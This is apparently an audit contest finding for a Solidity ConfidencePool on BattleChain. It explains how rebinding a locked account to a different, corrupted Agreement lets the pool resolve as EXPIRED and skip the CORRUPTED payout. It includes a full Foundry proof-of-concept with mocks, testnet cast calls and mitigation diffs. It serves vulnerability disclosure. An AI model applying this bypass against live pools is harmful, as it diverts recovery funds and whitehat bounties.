FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Locked pool scope can be rebound to another Agreement and bypass CORRUPTED settlement

Author Revealed upon completion

Root + Impact

Description

Normal behavior is that a ConfidencePool commits to a fixed list of BattleChain accounts once the registry leaves pre-attack staging. The design states that later narrowing or expansion of the underlying Agreement should not change what the pool covers; the pool's own locked scope is the binding audit trail.

The issue is that the pool validates each account with IAgreement(agreement).isContractInScope(account) only when the scope is set, but all later lifecycle decisions read only getAgreementState(agreement) for the original Agreement. In the upstream BattleChain registry, isContractInScope(account) is explicitly not the source of truth for the account's current Binding Agreement; AttackRegistry.getAgreementForContract(account) is. The binding can be cleared or changed without changing the pool's locked scope, including through post-commitment account removal, DAO rejection of an attack request, or later terminal-state relinking. The pool still reports the account as in its locked local scope, but it can no longer observe corruption through the account's new Binding Agreement because it only checks A.

// src/ConfidencePool.sol
address public agreement;
address[] internal _scopeAccounts;
mapping(address account => bool inScope) public override isAccountInScope;
bool public override scopeLocked;
function _replaceScope(address[] calldata accounts) internal {
...
for (uint256 i; i < accounts.length; ++i) {
address account = accounts[i];
if (isAccountInScope[account]) revert DuplicateAccount(account);
@> if (!IAgreement(agreement).isContractInScope(account)) {
@> revert AccountNotInAgreementScope(account);
@> }
_scopeAccounts.push(account);
isAccountInScope[account] = true;
}
}
function _getAgreementState() internal view returns (IAttackRegistry.ContractState) {
address attackRegistry = safeHarborRegistry.getAttackRegistry();
if (attackRegistry == address(0)) revert InvalidAgreement();
@> return IAttackRegistry(attackRegistry).getAgreementState(agreement);
}
function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_) external onlyModerator {
IAttackRegistry.ContractState state = _observePoolState();
...
} else if (newOutcome == PoolStates.Outcome.CORRUPTED) {
...
@> if (state != IAttackRegistry.ContractState.CORRUPTED) revert InvalidOutcome();
}
...
}
function claimExpired() external nonReentrant {
...
if (outcome == PoolStates.Outcome.UNRESOLVED) {
@> IAttackRegistry.ContractState state = _observePoolState();
...
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
...
outcome = PoolStates.Outcome.CORRUPTED;
return;
}
if (state == IAttackRegistry.ContractState.PRODUCTION) {
outcome = PoolStates.Outcome.SURVIVED;
} else {
@> outcome = PoolStates.Outcome.EXPIRED;
@> outcomeFlaggedAt = expiry;
}
}
...
}

The upstream dependency behavior is intentional. Agreement.removeAccounts() calls unregisterContractForExistingAgreement, which deletes the account binding when the caller is the current binding Agreement. AttackRegistry.rejectAttackRequest() also clears every account binding for a rejected Agreement and deletes the Agreement registry state without consulting cantChangeUntil. Later registration paths can bind the same account to another Agreement when the existing binding is absent or no longer active. The upstream IAgreement.isContractInScope documentation warns that scope membership does not establish the Binding Agreement and users must resolve it via AttackRegistry.

Risk

Likelihood:

Reason 1: This occurs after Agreement A enters a post-staging state and the ConfidencePool locks its local scope, then the account's AttackRegistry binding is cleared through post-commitment account removal or DAO rejection of A's attack request.

Reason 2: This occurs when that detached account is registered under Agreement B and Agreement B reaches CORRUPTED while Agreement A remains non-CORRUPTED, such as UNDER_ATTACK or NOT_DEPLOYED after rejection.

Reason 3: The ConfidencePool's required expiry lead is 30 days, while the upstream commitment window can be 7 days, and registry rejection/terminal relinking can detach bindings independently of the commitment window.

Impact:

Impact 1: The trusted pool moderator cannot flag CORRUPTED for the locked account's actual corruption because flagOutcome(CORRUPTED) checks Agreement A's state, not the account's current Binding Agreement B.

Impact 2: At expiry, claimExpired() sees Agreement A as non-CORRUPTED and resolves through EXPIRED, paying stakers principal and routing any unearned bonus through the non-CORRUPTED bonus sweep despite the locked account being corrupted under B.

Impact 3: The full pool balance bypasses the intended CORRUPTED path, so the recovery address or good-faith whitehat bounty receives zero.

Proof of Concept

Create test/unit/ConfidencePool.bindingAgreementReassignment.poc.t.sol with the following full test contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
/// @notice Temporary audit-phase PoC model; ignore for production code review.
contract BindingAttackRegistryMock {
mapping(address agreement => IAttackRegistry.ContractState state) internal agreementState;
mapping(address account => address agreement) internal bindingAgreement;
function requestUnderAttack(address agreement, address[] calldata accounts) external {
agreementState[agreement] = IAttackRegistry.ContractState.ATTACK_REQUESTED;
for (uint256 i; i < accounts.length; ++i) {
_link(accounts[i], agreement);
}
}
function approveAttack(address agreement) external {
require(agreementState[agreement] == IAttackRegistry.ContractState.ATTACK_REQUESTED, "not requested");
agreementState[agreement] = IAttackRegistry.ContractState.UNDER_ATTACK;
}
function rejectAttackRequest(address agreement, address[] calldata accounts) external {
require(agreementState[agreement] == IAttackRegistry.ContractState.ATTACK_REQUESTED, "not requested");
for (uint256 i; i < accounts.length; ++i) {
delete bindingAgreement[accounts[i]];
}
delete agreementState[agreement];
}
function markCorrupted(address agreement) external {
IAttackRegistry.ContractState state = agreementState[agreement];
require(
state == IAttackRegistry.ContractState.UNDER_ATTACK
|| state == IAttackRegistry.ContractState.PROMOTION_REQUESTED,
"not attackable"
);
agreementState[agreement] = IAttackRegistry.ContractState.CORRUPTED;
}
function instantPromote(address agreement) external {
agreementState[agreement] = IAttackRegistry.ContractState.PRODUCTION;
}
function registerContractForExistingAgreement(address account) external {
IAttackRegistry.ContractState state = agreementState[msg.sender];
if (state == IAttackRegistry.ContractState.PRODUCTION || state == IAttackRegistry.ContractState.CORRUPTED) {
return;
}
if (bindingAgreement[account] == msg.sender) return;
_revertIfLinkedToActiveAgreement(account);
bindingAgreement[account] = msg.sender;
}
function unregisterContractForExistingAgreement(address account) external {
if (bindingAgreement[account] == msg.sender) {
delete bindingAgreement[account];
}
}
function getAgreementState(address agreement) external view returns (IAttackRegistry.ContractState) {
return agreementState[agreement];
}
function getAgreementForContract(address account) external view returns (address) {
return bindingAgreement[account];
}
function _link(address account, address agreement) internal {
if (bindingAgreement[account] == agreement) return;
_revertIfLinkedToActiveAgreement(account);
bindingAgreement[account] = agreement;
}
function _revertIfLinkedToActiveAgreement(address account) internal view {
address current = bindingAgreement[account];
if (current == address(0)) return;
IAttackRegistry.ContractState state = agreementState[current];
require(
state != IAttackRegistry.ContractState.ATTACK_REQUESTED
&& state != IAttackRegistry.ContractState.UNDER_ATTACK
&& state != IAttackRegistry.ContractState.PROMOTION_REQUESTED,
"active binding"
);
}
}
contract BindingAgreementMock {
address public owner;
BindingAttackRegistryMock internal immutable registry;
uint256 internal immutable cantChangeUntil;
address[] internal scope;
mapping(address account => bool inScope) internal scoped;
modifier onlyOwner() {
require(msg.sender == owner, "not owner");
_;
}
constructor(address owner_, BindingAttackRegistryMock registry_, address[] memory accounts, uint256 cantChangeUntil_) {
owner = owner_;
registry = registry_;
cantChangeUntil = cantChangeUntil_;
for (uint256 i; i < accounts.length; ++i) {
scope.push(accounts[i]);
scoped[accounts[i]] = true;
}
}
function requestUnderAttack() external onlyOwner {
registry.requestUnderAttack(address(this), scope);
}
function approveAttack() external {
registry.approveAttack(address(this));
}
function rejectAttackRequest() external {
address[] memory accounts = scope;
registry.rejectAttackRequest(address(this), accounts);
}
function markCorrupted() external {
registry.markCorrupted(address(this));
}
function instantPromote() external {
registry.instantPromote(address(this));
}
function addAccount(address account) external onlyOwner {
if (!scoped[account]) {
scoped[account] = true;
scope.push(account);
}
registry.registerContractForExistingAgreement(account);
}
function removeAccount(address account) external onlyOwner {
require(block.timestamp >= cantChangeUntil, "commitment active");
require(scope.length > 1, "cannot remove all");
require(scoped[account], "not in scope");
scoped[account] = false;
for (uint256 i; i < scope.length; ++i) {
if (scope[i] == account) {
scope[i] = scope[scope.length - 1];
scope.pop();
break;
}
}
registry.unregisterContractForExistingAgreement(account);
}
function isContractInScope(address account) external view returns (bool) {
return scoped[account];
}
function getBattleChainScopeAddresses() external view returns (address[] memory) {
return scope;
}
function getCantChangeUntil() external view returns (uint256) {
return cantChangeUntil;
}
}
contract ConfidencePoolBindingAgreementReassignmentPoCTest is Test {
uint256 internal constant ONE = 1e18;
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
address internal constant COVERED_ACCOUNT = address(0xC0FFEE);
address internal constant ANCHOR_ACCOUNT = address(0xA11CE);
address internal constant OTHER_ACCOUNT = address(0xB0B);
MockERC20 internal token;
BindingAttackRegistryMock internal attackRegistry;
MockSafeHarborRegistry internal safeHarborRegistry;
BindingAgreementMock internal agreementA;
BindingAgreementMock internal agreementB;
ConfidencePool internal pool;
address internal agreementOwner = makeAddr("agreement-owner");
address internal secondAgreementOwner = makeAddr("second-agreement-owner");
address internal moderator = makeAddr("pool-moderator");
address internal recovery = makeAddr("recovery");
address internal alice = makeAddr("alice");
address internal carol = makeAddr("carol");
uint256 internal cantChangeUntil;
function setUp() public {
vm.warp(BASE_TIMESTAMP);
token = new MockERC20();
attackRegistry = new BindingAttackRegistryMock();
safeHarborRegistry = new MockSafeHarborRegistry();
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
cantChangeUntil = block.timestamp + 7 days;
address[] memory agreementAScope = new address[](2);
agreementAScope[0] = COVERED_ACCOUNT;
agreementAScope[1] = ANCHOR_ACCOUNT;
agreementA = new BindingAgreementMock(agreementOwner, attackRegistry, agreementAScope, cantChangeUntil);
address[] memory agreementBScope = new address[](1);
agreementBScope[0] = OTHER_ACCOUNT;
agreementB = new BindingAgreementMock(secondAgreementOwner, attackRegistry, agreementBScope, cantChangeUntil);
safeHarborRegistry.setAgreementValid(address(agreementA), true);
safeHarborRegistry.setAgreementValid(address(agreementB), true);
pool = _deployPool(address(agreementA));
}
function testLockedScopeReboundToCorruptedAgreementBypassesCorruptedPoolResolution() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
vm.prank(agreementOwner);
agreementA.requestUnderAttack();
agreementA.approveAttack();
pool.pokeRiskWindow();
assertTrue(pool.scopeLocked(), "pool scope is permanently locked");
assertTrue(pool.isAccountInScope(COVERED_ACCOUNT), "pool still commits to the covered account");
assertEq(attackRegistry.getAgreementForContract(COVERED_ACCOUNT), address(agreementA), "initial binding");
vm.warp(cantChangeUntil + 1);
vm.prank(agreementOwner);
agreementA.removeAccount(COVERED_ACCOUNT);
assertFalse(agreementA.isContractInScope(COVERED_ACCOUNT), "A no longer lists the account");
assertEq(attackRegistry.getAgreementForContract(COVERED_ACCOUNT), address(0), "binding cleared");
assertTrue(pool.isAccountInScope(COVERED_ACCOUNT), "pool's locked local scope did not change");
vm.prank(secondAgreementOwner);
agreementB.addAccount(COVERED_ACCOUNT);
assertEq(attackRegistry.getAgreementForContract(COVERED_ACCOUNT), address(agreementB), "account rebound to B");
vm.prank(secondAgreementOwner);
agreementB.requestUnderAttack();
agreementB.approveAttack();
agreementB.markCorrupted();
assertEq(
uint256(attackRegistry.getAgreementState(address(agreementB))),
uint256(IAttackRegistry.ContractState.CORRUPTED),
"current binding agreement is corrupted"
);
assertEq(
uint256(attackRegistry.getAgreementState(address(agreementA))),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK),
"pool's fixed agreement is not corrupted"
);
vm.prank(moderator);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
vm.warp(pool.expiry());
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "pool resolves as expired");
assertEq(token.balanceOf(alice) - aliceBefore, 150 * ONE, "staker receives principal plus bonus");
assertEq(token.balanceOf(recovery), 0, "corrupted recovery path was bypassed");
assertEq(token.balanceOf(address(pool)), 0, "all pool funds left through the non-corrupted path");
}
function testSamePoolSlashesWhenItsStoredAgreementIsCorrupted() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
vm.prank(agreementOwner);
agreementA.requestUnderAttack();
agreementA.approveAttack();
pool.pokeRiskWindow();
agreementA.markCorrupted();
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
uint256 recoveryBefore = token.balanceOf(recovery);
pool.claimCorrupted();
assertEq(token.balanceOf(recovery) - recoveryBefore, 150 * ONE, "stored-agreement corruption slashes pool");
assertEq(token.balanceOf(alice), 0, "staker receives nothing on normal corrupted path");
}
function testCommitmentPastExpiryDoesNotPreventRejectionRebindingBypass() external {
cantChangeUntil = block.timestamp + 60 days;
address[] memory agreementAScope = new address[](2);
agreementAScope[0] = COVERED_ACCOUNT;
agreementAScope[1] = ANCHOR_ACCOUNT;
agreementA = new BindingAgreementMock(agreementOwner, attackRegistry, agreementAScope, cantChangeUntil);
address[] memory agreementBScope = new address[](1);
agreementBScope[0] = OTHER_ACCOUNT;
agreementB = new BindingAgreementMock(secondAgreementOwner, attackRegistry, agreementBScope, cantChangeUntil);
safeHarborRegistry.setAgreementValid(address(agreementA), true);
safeHarborRegistry.setAgreementValid(address(agreementB), true);
pool = _deployPool(address(agreementA));
assertGt(agreementA.getCantChangeUntil(), pool.expiry(), "proposed cantChangeUntil mitigation is satisfied");
vm.prank(agreementOwner);
agreementA.requestUnderAttack();
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
assertTrue(pool.scopeLocked(), "ATTACK_REQUESTED observation locks pool scope");
assertEq(pool.riskWindowStart(), 0, "ATTACK_REQUESTED is not an active-risk observation");
assertTrue(pool.isAccountInScope(COVERED_ACCOUNT), "pool still commits to the account");
assertEq(attackRegistry.getAgreementForContract(COVERED_ACCOUNT), address(agreementA), "initial binding");
agreementA.rejectAttackRequest();
assertEq(
uint256(attackRegistry.getAgreementState(address(agreementA))),
uint256(IAttackRegistry.ContractState.NOT_DEPLOYED),
"rejected agreement returns to NOT_DEPLOYED"
);
assertEq(attackRegistry.getAgreementForContract(COVERED_ACCOUNT), address(0), "rejection clears binding");
assertTrue(pool.isAccountInScope(COVERED_ACCOUNT), "pool scope remains locked after rejection");
vm.prank(secondAgreementOwner);
agreementB.addAccount(COVERED_ACCOUNT);
vm.prank(secondAgreementOwner);
agreementB.requestUnderAttack();
agreementB.approveAttack();
agreementB.markCorrupted();
assertEq(
uint256(attackRegistry.getAgreementState(address(agreementB))),
uint256(IAttackRegistry.ContractState.CORRUPTED),
"current binding agreement is corrupted"
);
address whitehat = makeAddr("whitehat");
vm.prank(moderator);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
vm.warp(pool.expiry());
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "pool resolves as expired");
assertEq(token.balanceOf(alice) - aliceBefore, 100 * ONE, "staker recovers principal");
assertEq(token.balanceOf(whitehat), 0, "whitehat receives no good-faith bounty");
uint256 recoveryBefore = token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery) - recoveryBefore, 50 * ONE, "bonus exits through non-corrupted sweep");
}
function _deployPool(address agreement) internal returns (ConfidencePool deployedPool) {
address[] memory scope = new address[](1);
scope[0] = COVERED_ACCOUNT;
ConfidencePool implementation = new ConfidencePool();
deployedPool = ConfidencePool(Clones.clone(address(implementation)));
deployedPool.initialize(
agreement,
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
ONE,
recovery,
address(this),
scope
);
}
function _stake(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
}

Run:

forge test --match-path test/unit/ConfidencePool.bindingAgreementReassignment.poc.t.sol --skip test/unit/ConfidencePoolFactory.implementationProvenance.poc.t.sol -vvv

Observed:

Ran 3 tests for test/unit/ConfidencePool.bindingAgreementReassignment.poc.t.sol:ConfidencePoolBindingAgreementReassignmentPoCTest
[PASS] testCommitmentPastExpiryDoesNotPreventRejectionRebindingBypass()
[PASS] testLockedScopeReboundToCorruptedAgreementBypassesCorruptedPoolResolution()
[PASS] testSamePoolSlashesWhenItsStoredAgreementIsCorrupted()
Suite result: ok. 3 passed; 0 failed; 0 skipped

The first test proves the bypass end-to-end: the locked account's current Binding Agreement is CORRUPTED, the pool moderator cannot flag CORRUPTED, and expiry pays 150e18 to the staker while recovery receives zero. The second test is a control proving the same pool does slash when the stored Agreement A is the corrupted Agreement, so the failure is specifically the missing Binding Agreement tracking.

The rejection test proves that Agreement.getCantChangeUntil() >= pool.expiry() is not a complete mitigation. Agreement A's commitment extends beyond the pool expiry, but a normal registry rejection still clears the account binding, allows the account to be rebound under Agreement B, blocks the moderator from flagging B's genuine CORRUPTED result, and routes the pool through EXPIRED plus bonus sweep instead of the good-faith whitehat bounty path.

Production/testnet confirmation:

source .env && forge test --match-path test/fork/BattleChainInterfaceDrift.fork.t.sol --skip test/unit/ConfidencePoolFactory.implementationProvenance.poc.t.sol -vvv
source .env && forge test --match-path test/fork/BattleChainFactoryIntegration.fork.t.sol --skip test/unit/ConfidencePoolFactory.implementationProvenance.poc.t.sol -vvv

Observed:

BattleChainInterfaceDriftForkTest: 4 passed
BattleChainFactoryIntegrationForkTest: 2 passed

These fork checks confirm the live BattleChain testnet SafeHarborRegistry, AttackRegistry, Agreement ABI, enum ordinals, and ConfidencePool creation path match the code path used by the PoC.

Live testnet deployment check:

cast call --rpc-url "$BATTLECHAIN_TESTNET_RPC" \
0x1892f011d853D6CA5Cf930143307a8E7dae27811 \
"agreement()(address)"
cast call --rpc-url "$BATTLECHAIN_TESTNET_RPC" \
0x1892f011d853D6CA5Cf930143307a8E7dae27811 \
"safeHarborRegistry()(address)"
cast call --rpc-url "$BATTLECHAIN_TESTNET_RPC" \
0x07E09f67B272aec60eebBfB3D592eC649BDCFEFc \
"getAttackRegistry()(address)"
cast call --rpc-url "$BATTLECHAIN_TESTNET_RPC" \
0x1892f011d853D6CA5Cf930143307a8E7dae27811 \
"getScopeAccounts()(address[])"
cast call --rpc-url "$BATTLECHAIN_TESTNET_RPC" \
0x22134e878c409a0Eab7259d873b38e26Ca966d3C \
"getAgreementForContract(address)(address)" \
0x545bA016ADB7ECffCd25F9fFEc6846873605c5D8
cast call --rpc-url "$BATTLECHAIN_TESTNET_RPC" \
0x847a9616bF9c09B716a50A5A374686AeefdAEaCC \
"isContractInScope(address)(bool)" \
0x545bA016ADB7ECffCd25F9fFEc6846873605c5D8

Observed on BattleChain testnet on July 14, 2026:

pool: 0x1892f011d853D6CA5Cf930143307a8E7dae27811
pool outcome: 2 (CORRUPTED)
pool scopeLocked: true
pool agreement: 0x847a9616bF9c09B716a50A5A374686AeefdAEaCC
pool SafeHarborRegistry: 0x07E09f67B272aec60eebBfB3D592eC649BDCFEFc
pool AttackRegistry: 0x22134e878c409a0Eab7259d873b38e26Ca966d3C
pool scoped account: 0x545bA016ADB7ECffCd25F9fFEc6846873605c5D8
Agreement.isContractInScope: true
AttackRegistry binding account: 0x847a9616bF9c09B716a50A5A374686AeefdAEaCC
AttackRegistry state(A): 6

This live pool is already resolved CORRUPTED, so it is not a currently exploitable instance of this finding. A current scan of the three observed PoolCreated entries also found no live rebound instance: each scoped account maps back to the pool's stored Agreement through that pool's actual AttackRegistry. The production check therefore confirms the deployed registry/factory/pool shape, but the exploitable rebinding condition is proven by the local end-to-end PoC rather than by a currently live misconfigured pool.

Recommended Mitigation

Do not rely on Agreement.cantChangeUntil >= pool expiry as a complete fix. That check prevents the owner-driven removeAccounts() manifestation, but it does not preserve the authoritative BattleChain binding. Registry rejection and terminal-state relinking can detach or overwrite an account's Binding Agreement independently of cantChangeUntil.

The pool must preserve or validate the account-to-Agreement relationship used for settlement, and it needs a non-bricking resolution path when that relationship diverges. Robust options are:

  • Add an upstream monotonic corruption signal keyed by covered account, such as wasContractCorruptedDuring(account, start, end), so rebinding cannot erase whether a locked pool account was corrupted during the pool term.

  • Track each scoped account's Binding Agreement at lock time and maintain/verifiably update Binding Agreement history throughout the pool term.

  • Move the pool into a moderator-resolvable divergence state whenever a locked account stops being bound to the original Agreement, instead of letting claimExpired() silently treat the original Agreement's nonterminal state as survival.

  • Add an upstream binding lock that covers registry rejection, Agreement scope removal, and terminal-state relinking for the full pool term.

As defense in depth only, initialization and setExpiry() can still require the Agreement commitment window to cover the pool term:

+ error AgreementCommitmentEndsBeforePool();
+
function initialize(
address agreement_,
address stakeToken_,
address safeHarborRegistry_,
address outcomeModerator_,
uint256 expiry_,
uint256 minStake_,
address recoveryAddress_,
address owner_,
address[] calldata accounts
) external initializer {
...
if (expiry_ > type(uint32).max) revert ExpiryTooFar();
+ if (IAgreement(agreement_).getCantChangeUntil() < expiry_) {
+ revert AgreementCommitmentEndsBeforePool();
+ }
...
}
function setExpiry(uint256 newExpiry) external onlyOwner {
if (expiryLocked) revert ExpiryLocked();
if (newExpiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (newExpiry > type(uint32).max) revert ExpiryTooFar();
+ if (IAgreement(agreement).getCantChangeUntil() < newExpiry) {
+ revert AgreementCommitmentEndsBeforePool();
+ }
uint256 oldExpiry = expiry;
expiry = uint32(newExpiry);
emit ExpiryUpdated(oldExpiry, newExpiry);
}

This only prevents a locked account from being removed through Agreement.removeAccounts() before expiry; it does not address registry-level detachment through rejection or relinking from terminal states.

One implementation direction is to derive pool state from the locked account-level commitment, not only from the fixed Agreement address used during initialization. For example, resolve every locked account's current Binding Agreement through AttackRegistry.getAgreementForContract(account) and let the moderator settle CORRUPTED when a scoped account's operative Binding Agreement is corrupted:

- function _getAgreementState() internal view returns (IAttackRegistry.ContractState) {
+ function _getPoolState() internal view returns (IAttackRegistry.ContractState) {
address attackRegistry = safeHarborRegistry.getAttackRegistry();
if (attackRegistry == address(0)) revert InvalidAgreement();
- return IAttackRegistry(attackRegistry).getAgreementState(agreement);
+ IAttackRegistry registry = IAttackRegistry(attackRegistry);
+ IAttackRegistry.ContractState fixedState = registry.getAgreementState(agreement);
+ if (fixedState == IAttackRegistry.ContractState.CORRUPTED) return fixedState;
+
+ for (uint256 i; i < _scopeAccounts.length; ++i) {
+ address binding = registry.getAgreementForContract(_scopeAccounts[i]);
+ if (binding == address(0) || binding == agreement) continue;
+ if (registry.getAgreementState(binding) == IAttackRegistry.ContractState.CORRUPTED) {
+ return IAttackRegistry.ContractState.CORRUPTED;
+ }
+ }
+ return fixedState;
}

A simple claim-time equality check such as getAgreementForContract(account) == agreement is also insufficient when failure only reverts, because it can permanently lock all pool funds. The divergence path must still be resolvable by the trusted moderator or by an upstream account-keyed corruption/history proof. Simply rechecking IAgreement(agreement).isContractInScope(account) is not sufficient because upstream explicitly documents that this predicate is not the Binding Agreement source of truth.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!